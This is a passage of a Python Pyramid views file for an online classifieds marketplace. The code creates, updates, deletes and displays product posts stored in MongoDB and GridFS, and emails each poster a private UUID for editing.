fashion_document1[\"Category\"]\n fashion_collection_document1_condition = fashion_document1[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n fashion_document1_images_UTF8_list = []\n\n for raw_image in fashion_document1_images_list_rawFile:\n fashion_document1_binaryImage = raw_image.read()\n fashion_document1_base64Image = codecs.encode(fashion_document1_binaryImage, 'base64')\n fashion_document1_UTF8Image = fashion_document1_base64Image.decode('utf-8')\n fashion_document1_images_UTF8_list.append(fashion_document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document1_imageA = fashion_document1_images_UTF8_list[0]\n\n try:\n fashion_collection_document1_imageB = fashion_document1_images_UTF8_list[1]\n except:\n fashion_collection_document1_imageB = fashion_document1_images_UTF8_list[0]\n\n try:\n fashion_collection_document1_imageC = fashion_document1_images_UTF8_list[2]\n except:\n fashion_collection_document1_imageC = fashion_document1_images_UTF8_list[0]\n\n try:\n fashion_collection_document1_imageD = fashion_document1_images_UTF8_list[3]\n except:\n fashion_collection_document1_imageD = fashion_document1_images_UTF8_list[0] \n \n try:\n fashion_collection_document1_imageE = fashion_document1_images_UTF8_list[4]\n except:\n fashion_collection_document1_imageE = fashion_document1_images_UTF8_list[0]\n\n # next Operation\n fashion_productID1 = fashion_collection_document1_productID\n fashion_username1 = fashion_collection_document1_username\n fashion_state1 = fashion_collection_document1_state \n fashion_city1 = fashion_collection_document1_city\n fashion_description1 = fashion_collection_document1_description\n fashion_mobile1 = fashion_collection_document1_mobile\n fashion_email1 = fashion_collection_document1_email\n fashion_category1 = fashion_collection_document1_category\n fashion_condition1 = fashion_collection_document1_condition\n fashion_image1A = fashion_collection_document1_imageA\n fashion_image1B = fashion_collection_document1_imageB\n fashion_image1C = fashion_collection_document1_imageC\n fashion_image1D = fashion_collection_document1_imageD\n fashion_image1E = fashion_collection_document1_imageE \n\n\n # clean up client resources and disconnect from mongodb\n client.close()\n\n return {\n 'electronics_productID1' : electronics_productID1,\n 'electronics_username1': electronics_username1,\n 'electronics_state1' : electronics_state1,\n 'electronics_city1' : electronics_city1,\n 'electronics_description1' : electronics_description1,\n 'electronics_mobile1' : electronics_mobile1,\n 'electronics_email1' : electronics_email1,\n 'electronics_category1' : electronics_category1,\n 'electronics_condition1' : electronics_condition1,\n 'electronics_image1A' : electronics_image1A,\n 'electronics_image1B' : electronics_image1B,\n 'electronics_image1C' : electronics_image1C,\n 'electronics_image1D' : electronics_image1D,\n 'electronics_image1E' : electronics_image1E,\n\n 'automobiles_productID1' : automobiles_productID1,\n 'automobiles_username1': automobiles_username1,\n 'automobiles_state1' : automobiles_state1,\n 'automobiles_city1' : automobiles_city1,\n 'automobiles_description1' : automobiles_description1,\n 'automobiles_mobile1' : automobiles_mobile1,\n 'automobiles_email1' : automobiles_email1,\n 'automobiles_category1' : automobiles_category1,\n 'automobiles_condition1' : automobiles_condition1,\n 'automobiles_image1A' : automobiles_image1A,\n 'automobiles_image1B' : automobiles_image1B,\n 'automobiles_image1C' : automobiles_image1C,\n 'automobiles_image1D' : automobiles_image1D,\n 'automobiles_image1E' : automobiles_image1E,\n\n 'housing_productID1' : housing_productID1,\n 'housing_username1': housing_username1,\n 'housing_state1' : housing_state1,\n 'housing_city1' : housing_city1,\n 'housing_description1' : housing_description1,\n 'housing_mobile1' : housing_mobile1,\n 'housing_email1' : housing_email1,\n 'housing_category1' : housing_category1,\n 'housing_condition1' : housing_condition1,\n 'housing_image1A' : housing_image1A,\n 'housing_image1B' : housing_image1B,\n 'housing_image1C' : housing_image1C,\n 'housing_image1D' : housing_image1D,\n 'housing_image1E' : housing_image1E,\n\n 'fashion_productID1' : fashion_productID1,\n 'fashion_username1': fashion_username1,\n 'fashion_state1' : fashion_state1,\n 'fashion_city1' : fashion_city1,\n 'fashion_description1' : fashion_description1,\n 'fashion_mobile1' : fashion_mobile1,\n 'fashion_email1' : fashion_email1,\n 'fashion_category1' : fashion_category1,\n 'fashion_condition1' : fashion_condition1,\n 'fashion_image1A' : fashion_image1A,\n 'fashion_image1B' : fashion_image1B,\n 'fashion_image1C' : fashion_image1C,\n 'fashion_image1D' : fashion_image1D,\n 'fashion_image1E' : fashion_image1E,\n \n }\n\n\n\n\n\n\n\n\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ADS_TXT VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n@view_defaults(route_name='adsDotTxt')\nclass AdsDotTxt(object):\n def __init__(self, request):\n self.request = request\n\n @view_config(renderer='../ads.txt')\n def AdsTxt(self):\n return {}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ELECTRONICS VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Create\n@view_defaults(route_name='electronics_createNewPost')\nclass ElectronicsCreateNewPostViews(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/electronics_templates/electronics_createNewPost.pt')\n def electronics_createNewPost(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # Perform operation on query params, send values to the database and give the user a Response after creation \n # of a new post.\n @view_config(request_method='POST', request_param='electronics_create_submitButton')\n def electronics_createNewPost_response(self):\n from pyramid.httpexceptions import HTTPFound\n\n # Collect variables from form fields\n # Get text items from form page\n electronics_create_username = self.request.params['electronics_create_username']\n electronics_create_statesList = self.request.params['electronics_create_statesList']\n electronics_create_city = self.request.params['electronics_create_city']\n electronics_create_textarea = self.request.params['electronics_create_textarea']\n electronics_create_mobile = self.request.params['electronics_create_mobile']\n electronics_create_email = self.request.params['electronics_create_email']\n electronics_create_category = self.request.params['electronics_create_category']\n electronics_create_condition = self.request.params['electronics_create_condition']\n\n # Get images from form page\n electronics_create_images = self.request.POST.getall('electronics_create_images')\n\n # Use this for our rest API insertion operation\n electronics_create_images_names_list = []\n for electronics_create_image_name in electronics_create_images:\n electronics_create_images_names_list.append(electronics_create_image_name.filename)\n\n # use this for gridFS insertion operation\n electronics_create_images_list = []\n for electronics_create_image in electronics_create_images:\n electronics_create_images_list.append(electronics_create_image)\n\n\n # Create other backend variables\n # create Product ID\n from .myModules import ran_gen_a\n electronics_create_productID = ran_gen_a(8, \"AEIOSODMG23\")\n\n\n # Create a UUID number\n import uuid\n electronics_create_privateUUID = uuid.uuid4()\n\n # Get specific date\n import datetime\n electronics_create_dateTime = datetime.datetime.utcnow()\n\n\n # Create our RES API structure and push data to the RES\n electronics_resAPI_json = {\n \"Private UUID\": \"\",\n \"Product ID\": \"\",\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n\n electronics_resAPI_json[\"Private UUID\"] = electronics_create_privateUUID\n electronics_resAPI_json[\"Product ID\"] = electronics_create_productID\n electronics_resAPI_json[\"Username\"] = electronics_create_username\n electronics_resAPI_json[\"State\"] = electronics_create_statesList\n electronics_resAPI_json[\"City\"] = electronics_create_city\n electronics_resAPI_json[\"Description\"] = electronics_create_textarea\n electronics_resAPI_json[\"Mobile\"] = electronics_create_mobile\n electronics_resAPI_json[\"Email\"] = electronics_create_email\n electronics_resAPI_json[\"Category\"] = electronics_create_category\n electronics_resAPI_json[\"Condition\"] = electronics_create_condition\n electronics_resAPI_json[\"Images\"] = electronics_create_images_names_list\n electronics_resAPI_json[\"date\"] = electronics_create_dateTime\n\n\n\n # Initialise database connection and perform CRUD operation on text and images\n # Perform CRUD operation on text strings\n import pymongo\n from pymongo import MongoClient\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection= db.electronics_text_collection\n\n # Insert API into database and close our connected client's connection\n text_collection.insert_one(electronics_resAPI_json)\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"electronics_images_collection\")\n\n # Inserting files into gridfs and close our connected client's connection\n for image in electronics_create_images_list:\n image_collection.put(image.file, filename=image.filename)\n\n # Close our database connection and free up resources.\n client.close()\n\n\n # # ############################################################################################\n # # Send private UUID to user's Email using login details and gmail server using inbuilt python email package\n import smtplib, os, sys\n from smtplib import SMTP\n from email.message import EmailMessage\n from dotenv import load_dotenv\n load_dotenv()\n\n try:\n email_content = (\"\"\"\\\n Hello %s, thanks for posting on spacenetng platform, an online commercial market place where buyers and sellers\n meet to carry out business transactions. Please be advised, a private user UUID has been created for you which \n you can use to update or delete your post and it should be kept confidential.\\n\n Here is your Seceret hey: %s\\n\n For support and enquiries please contact us via our contact details found on our contact page in our website.\\n\n Thanks for using this service, we hope to serve you better!!.\n \"\"\"\n % (electronics_create_username, electronics_create_privateUUID)\n \n )\n\n msg = EmailMessage()\n msg.set_content(email_content)\n\n msg['Subject'] = 'Your UUID from Spacenetng'\n msg['From'] = 'spacenetngbase@gmail.com'\n msg['To'] = electronics_create_email\n\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n\n email = os.environ['MY_EMAIL_ADDRESS']\n passWord = os.environ['MY_EMAIL_PASSWORD']\n\n server_ssl.login(email, passWord)\n server_ssl.send_message(msg) \n server_ssl.quit() # Terminate the SMTP session and free up resources \n \n # Or And,\n # print('Message sent successfully!!')\n\n except:\n pass\n # Or\n # print X\n\n finally:\n pass\n\n\n ######################################################\n # Redirect user to view what he/she has just posted \n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been recorded successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Modify\n@view_defaults(route_name='electronics_modifyPost1')\nclass ElectronicsModifyPostViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/electronics_templates/electronics_modifyPost1.pt')\n def electronics_modifyPost1(self):\n return {'user_warning': ''}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for edit mode\n # Redirect to modifyPost2 page if valid private uuid was given, else throw error.\n @view_config(request_method='POST', request_param='electronics_modify1_editButton', renderer='templates/electronics_templates/electronics_modifyPost1.pt')\n def electronics_modifyPost1_update_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection= db.electronics_text_collection\n\n\n electronics_update_privateUUID = self.request.params['electronics_modify1_privateUUID']\n\n try:\n text_collection.find_one({'Private UUID': UUID(electronics_update_privateUUID)})\n result1 = render('templates/electronics_templates/electronics_modifyPost2.pt' , {'private_UUID': electronics_update_privateUUID, 'user_warning': ''}, request=self.request)\n return Response(result1)\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n client.close()\n \n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for delete mode\n @view_config(request_method='POST', request_param='electronics_modify1_deleteButton', renderer='templates/electronics_templates/electronics_modifyPost1.pt')\n def electronics_modifyPost1_delete_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection= db.electronics_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"electronics_images_collection\")\n\n\n electronics_delete_privateUUID = self.request.params['electronics_modify1_privateUUID']\n\n # # Delete operation................................................................................\n # Perform a find() query operation on a document using the private UUID for delete permision,\n # and then obtain its \"_id\" field.\n\n try:\n # Delete operation on the main text collection initialisation\n res0 = text_collection.find_one({'Private UUID': UUID(electronics_delete_privateUUID)})\n res1 = res0['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n # Delete operation On image collection\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete and/or replacement operation\n\n # Delete images in collection first before deleting the actual collection\n image_names_list_toDelete = res0['Images']\n\n for name in image_names_list_toDelete:\n res2 = image_collection.find_one({'filename': name})\n res3 = res2._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res3)) # Delete format for files in gridfs\n\n # text collection delete\n text_collection.delete_one({'_id': ObjectId(res1)})\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been deleted successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # response for modifyPost1 page, return this page if correct params were given in modifyPost1 page.\n @view_config(route_name='electronics_modifyPost2', renderer='templates/electronics_templates/electronics_modifyPost2.pt')\n def electronics_modifyPost2(self):\n return {}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Perform operation on query params from modifyPost2 page,\n # return values and give the user a Response after creation of a new post\n @view_config(request_method='POST', request_param='electronics_update_submitButton')\n def electronics_modifyPost2_response(self):\n # -----------------------------------------------------------------------------------------------------------------\n # Updating and deleting records in database\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection= db.electronics_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"electronics_images_collection\")\n\n\n # Perform CRUD Operation\n # Get specific date\n import datetime\n electronics_update_dateTime = datetime.datetime.utcnow()\n\n electronics_resAPI_json = {\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n #######################\n # Collect variables from form fields\n #######################\n\n # Get text items from form page\n electronics_update_username = self.request.params['electronics_update_username']\n electronics_update_statesList = self.request.params['electronics_update_statesList']\n electronics_update_city = self.request.params['electronics_update_city']\n electronics_update_textarea = self.request.params['electronics_update_textarea']\n electronics_update_mobile = self.request.params['electronics_update_mobile']\n electronics_update_email = self.request.params['electronics_update_email']\n electronics_update_category = self.request.params['electronics_update_category']\n electronics_update_condition = self.request.params['electronics_update_condition']\n \n # Get images from form page\n electronics_update_images = self.request.POST.getall('electronics_update_images')\n\n # Use this for our rest API insertion operation\n electronics_update_images_names_list = []\n for electronics_update_image_name in electronics_update_images:\n electronics_update_images_names_list.append(electronics_update_image_name.filename)\n\n # use this for gridFS insertion operation\n electronics_update_images_list = []\n for electronics_update_image in electronics_update_images:\n electronics_update_images_list.append(electronics_update_image)\n\n\n\n electronics_resAPI_json[\"Username\"] = electronics_update_username\n electronics_resAPI_json[\"State\"] = electronics_update_statesList\n electronics_resAPI_json[\"City\"] = electronics_update_city\n electronics_resAPI_json[\"Description\"] = electronics_update_textarea\n electronics_resAPI_json[\"Mobile\"] = electronics_update_mobile\n electronics_resAPI_json[\"Email\"] = electronics_update_email\n electronics_resAPI_json[\"Category\"] = electronics_update_category\n electronics_resAPI_json[\"Condition\"] = electronics_update_condition\n electronics_resAPI_json[\"Images\"] = electronics_update_images_names_list\n electronics_resAPI_json[\"date\"] = electronics_update_dateTime\n\n\n\n\n # Update operation.........................................................................\n # Update API in database and close our connected client's connection\n # Perform a find() query operation on a document using the private UUID to locate the particular document,\n # and then obtain its \"_id\" field.\n electronics_update_privateUUID = self.request.params['electronics_update_privateUUID']\n\n # Inititalise overall collection query using the text collection\n res1 = text_collection.find_one({'Private UUID': UUID(electronics_update_privateUUID)})\n res2 = res1['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n\n # Before inserting files, query for previous images previously inside database,\n # delete all images there and replace/update with the new one.\n\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete operation followed by the replacement operation\n image_names_list_toDelete = res1['Images']\n\n # Delete images already present first before updating the main collection\n # delete image collection\n for name in image_names_list_toDelete:\n res3 = image_collection.find_one({'filename': name})\n res4 = res3._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res4)) # Delete format for files in gridfs\n\n\n # Main text collection update\n text_collection.update_one({'_id': ObjectId(res2)}, {\"$set\": electronics_resAPI_json})\n\n # then also update the image collection with the new images\n for image in electronics_update_images_list:\n image_collection.put(image.file, filename=image.filename) # The update operation\n\n \n\n # Close our database connection and free up resources.\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been updated successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# View products\n@view_defaults(route_name='electronics_viewProducts1')\nclass ElectronicsViewProductsViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/electronics_templates/electronics_viewProducts1.pt')\n def electronics_viewProducts1(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Response from viewProducts1 page and validate with records in database \n @view_config(request_method='POST', request_param='electronics_view_submit')\n def electronics_viewProducts2_page1A(self):\n from pyramid.httpexceptions import HTTPFound\n # Perform some database matching on sub categories and redirect to the appropriate renderer.\n return HTTPFound(location='electronics_viewProducts2_page1')\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='electronics_viewProducts2_page1', renderer='templates/electronics_templates/electronics_viewProducts2_page1.pt')\n def electronics_viewProducts2_page1B(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client1 = MongoClient('%s' % connection_string)\n db = client1.spacenetng_database\n\n # Create or open a text based records collection called electronics_text_collection\n text_collection_electronics = db.electronics_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n image_collection_electronics = GridFS(db, \"electronics_images_collection\")\n\n # Retrieve document record from database operation\n electronics_collection = text_collection_electronics.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(5) #This returns 25 records\n\n # Push documents into a list\n electronics_collection_list = []\n\n for record in electronics_collection:\n electronics_collection_list.append(record)\n\n document1 = electronics_collection_list[0]\n document2 = electronics_collection_list[1]\n document3 = electronics_collection_list[2]\n document4 = electronics_collection_list[3]\n document5 = electronics_collection_list[4]\n \n\n # Extracting images\n # The images for document1\n document1_images_list_rawFile = []\n for image_name in document1[\"Images\"]:\n document1_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # For the images for document2\n document2_images_list_rawFile = []\n for image_name in document2[\"Images\"]:\n document2_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document3\n document3_images_list_rawFile = []\n for image_name in document3[\"Images\"]:\n document3_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document4\n document4_images_list_rawFile = []\n for image_name in document4[\"Images\"]:\n document4_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n # The images for document5\n document5_images_list_rawFile = []\n for image_name in document5[\"Images\"]:\n document5_images_list_rawFile.append(image_collection_electronics.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n electronics_collection_document1_productID = document1[\"Product ID\"]\n electronics_collection_document1_username = document1[\"Username\"]\n electronics_collection_document1_state = document1[\"State\"]\n electronics_collection_document1_city = document1[\"City\"]\n electronics_collection_document1_description = document1[\"Description\"]\n electronics_collection_document1_mobile = document1[\"Mobile\"]\n electronics_collection_document1_email = document1[\"Email\"]\n electronics_collection_document1_category = document1[\"Category\"]\n electronics_collection_document1_condition = document1[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document1_images_UTF8_list = []\n\n for raw_image in document1_images_list_rawFile:\n document1_binaryImage = raw_image.read()\n document1_base64Image = codecs.encode(document1_binaryImage, 'base64')\n document1_UTF8Image = document1_base64Image.decode('utf-8')\n document1_images_UTF8_list.append(document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document1_imageA = document1_images_UTF8_list[0]\n\n try:\n electronics_collection_document1_imageB = document1_images_UTF8_list[1]\n except:\n electronics_collection_document1_imageB = document1_images_UTF8_list[0]\n\n try:\n electronics_collection_document1_imageC = document1_images_UTF8_list[2]\n except:\n electronics_collection_document1_imageC = document1_images_UTF8_list[0]\n\n try:\n electronics_collection_document1_imageD = document1_images_UTF8_list[3]\n except:\n electronics_collection_document1_imageD = document1_images_UTF8_list[0] \n \n try:\n electronics_collection_document1_imageE = document1_images_UTF8_list[4]\n except:\n electronics_collection_document1_imageE = document1_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document2\n #######################\n\n # For the text strings,\n electronics_collection_document2_productID = document2[\"Product ID\"]\n electronics_collection_document2_username = document2[\"Username\"]\n electronics_collection_document2_state = document2[\"State\"]\n electronics_collection_document2_city = document2[\"City\"]\n electronics_collection_document2_description = document2[\"Description\"]\n electronics_collection_document2_mobile = document2[\"Mobile\"]\n electronics_collection_document2_email = document2[\"Email\"]\n electronics_collection_document2_category = document2[\"Category\"]\n electronics_collection_document2_condition = document2[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document2_images_UTF8_list = []\n\n for raw_image in document2_images_list_rawFile:\n document2_binaryImage = raw_image.read()\n document2_base64Image = codecs.encode(document2_binaryImage, 'base64')\n document2_UTF8Image = document2_base64Image.decode('utf-8')\n document2_images_UTF8_list.append(document2_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document2_imageA = document2_images_UTF8_list[0]\n\n try:\n electronics_collection_document2_imageB = document2_images_UTF8_list[1]\n except:\n electronics_collection_document2_imageB = document2_images_UTF8_list[0]\n\n try:\n electronics_collection_document2_imageC = document2_images_UTF8_list[2]\n except:\n electronics_collection_document2_imageC = document2_images_UTF8_list[0]\n\n try:\n electronics_collection_document2_imageD = document2_images_UTF8_list[3]\n except:\n electronics_collection_document2_imageD = document2_images_UTF8_list[0] \n \n try:\n electronics_collection_document2_imageE = document2_images_UTF8_list[4]\n except:\n electronics_collection_document2_imageE = document2_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document3\n #######################\n\n # For the text strings,\n electronics_collection_document3_productID = document3[\"Product ID\"]\n electronics_collection_document3_username = document3[\"Username\"]\n electronics_collection_document3_state = document3[\"State\"]\n electronics_collection_document3_city = document3[\"City\"]\n electronics_collection_document3_description = document3[\"Description\"]\n electronics_collection_document3_mobile = document3[\"Mobile\"]\n electronics_collection_document3_email = document3[\"Email\"]\n electronics_collection_document3_category = document3[\"Category\"]\n electronics_collection_document3_condition = document3[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document3_images_UTF8_list = []\n\n for raw_image in document3_images_list_rawFile:\n document3_binaryImage = raw_image.read()\n document3_base64Image = codecs.encode(document3_binaryImage, 'base64')\n document3_UTF8Image = document3_base64Image.decode('utf-8')\n document3_images_UTF8_list.append(document3_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document3_imageA = document3_images_UTF8_list[0]\n\n try:\n electronics_collection_document3_imageB = document3_images_UTF8_list[1]\n except:\n electronics_collection_document3_imageB = document3_images_UTF8_list[0]\n\n try:\n electronics_collection_document3_imageC = document3_images_UTF8_list[2]\n except:\n electronics_collection_document3_imageC = document3_images_UTF8_list[0]\n\n try:\n electronics_collection_document3_imageD = document3_images_UTF8_list[3]\n except:\n electronics_collection_document3_imageD = document3_images_UTF8_list[0] \n \n try:\n electronics_collection_document3_imageE = document3_images_UTF8_list[4]\n except:\n electronics_collection_document3_imageE = document3_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document4\n #######################\n\n # For the text strings,\n electronics_collection_document4_productID = document4[\"Product ID\"]\n electronics_collection_document4_username = document4[\"Username\"]\n electronics_collection_document4_state = document4[\"State\"]\n electronics_collection_document4_city = document4[\"City\"]\n electronics_collection_document4_description = document4[\"Description\"]\n electronics_collection_document4_mobile = document4[\"Mobile\"]\n electronics_collection_document4_email = document4[\"Email\"]\n electronics_collection_document4_category = document4[\"Category\"]\n electronics_collection_document4_condition = document4[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document4_images_UTF8_list = []\n\n for raw_image in document4_images_list_rawFile:\n document4_binaryImage = raw_image.read()\n document4_base64Image = codecs.encode(document4_binaryImage, 'base64')\n document4_UTF8Image = document4_base64Image.decode('utf-8')\n document4_images_UTF8_list.append(document4_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document4_imageA = document4_images_UTF8_list[0]\n\n try:\n electronics_collection_document4_imageB = document4_images_UTF8_list[1]\n except:\n electronics_collection_document4_imageB = document4_images_UTF8_list[0]\n\n try:\n electronics_collection_document4_imageC = document4_images_UTF8_list[2]\n except:\n electronics_collection_document4_imageC = document4_images_UTF8_list[0]\n\n try:\n electronics_collection_document4_imageD = document4_images_UTF8_list[3]\n except:\n electronics_collection_document4_imageD = document4_images_UTF8_list[0] \n \n try:\n electronics_collection_document4_imageE = document4_images_UTF8_list[4]\n except:\n electronics_collection_document4_imageE = document4_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document5\n #######################\n\n # For the text strings,\n electronics_collection_document5_productID = document5[\"Product ID\"]\n electronics_collection_document5_username = document5[\"Username\"]\n electronics_collection_document5_state = document5[\"State\"]\n electronics_collection_document5_city = document5[\"City\"]\n electronics_collection_document5_description = document5[\"Description\"]\n electronics_collection_document5_mobile = document5[\"Mobile\"]\n electronics_collection_document5_email = document5[\"Email\"]\n electronics_collection_document5_category = document5[\"Category\"]\n electronics_collection_document5_condition = document5[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document5_images_UTF8_list = []\n\n for raw_image in document5_images_list_rawFile:\n document5_binaryImage = raw_image.read()\n document5_base64Image = codecs.encode(document5_binaryImage, 'base64')\n document5_UTF8Image = document5_base64Image.decode('utf-8')\n document5_images_UTF8_list.append(document5_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document5_imageA = document5_images_UTF8_list[0]\n\n try:\n electronics_collection_document5_imageB = document5_images_UTF8_list[1]\n except:\n electronics_collection_document5_imageB = document5_images_UTF8_list[0]\n\n try:\n electronics_collection_document5_imageC = document5_images_UTF8_list[2]\n except:\n electronics_collection_document5_imageC = document5_images_UTF8_list[0]\n\n try:\n electronics_collection_document5_imageD = document5_images_UTF8_list[3]\n except:\n electronics_collection_document5_imageD = 